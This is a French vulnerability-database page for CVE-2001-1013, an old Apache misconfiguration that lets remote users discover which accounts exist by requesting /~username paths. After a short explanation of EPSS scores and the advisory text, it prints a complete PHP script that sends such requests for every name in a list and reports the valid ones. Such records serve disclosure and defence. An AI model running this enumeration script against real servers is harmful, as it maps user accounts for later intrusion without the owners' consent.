CVE-2001-1013 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/3335/info Versions of Apache webserver shipping with Red Hat Linux 7.0 (and possibly other Apache distributions) install with a default misconfiguration which could allow remote users to determine whether a give username exists on the vulnerable system. http://www.example.com/~<username> When a remote user makes a request for a possible user's default home page, the server returns one of three responses: In a case where <username> is a valid user account, and has been configured with a homepage, the server responds with the user's homepage. When <username> exists on the system, but has not been assigned a homepage document, the server returns the message "You don't have permission to access /~username on this server." However, if the tested username does not exist as an account on the system, the Apache server's response includes the message "The requested URL /~username was not found on this server." Because the server responds differently in the latter two cases, a remote user can test and enumerate possible usernames. Properly exploited, this information could be used in further attacks on the vulnerable hos #!/usr/local/bin/php -q <? /* default misconfiguration which could allow remote users to determine whether a give username exists on the vulnerable system. By Gabriel A Maggiotti */ if( $argc!=4) { echo "usagge: $argv[0] <host> <userlist> <delay>\n"; return 1; } $host=$argv[1]; $userlist=$argv[2]; $fd = fopen ($userlist, "r"); while (!feof ($fd)) { $user = fgets($fd, 4096); $fp = fsockopen ($host, 80 , &$errno, &$errstr, 30); fputs ($fp, "GET /~$user HTTP/1.0\r\n\r\n"); while (!feof ($fp)) { $sniff=fgets($fp,1024); if(strpos($sniff,"permission")!="") { echo "$user exists!!!\n"; break; } } fclose ($fp); sleep(3); } fclose ($fd); ?>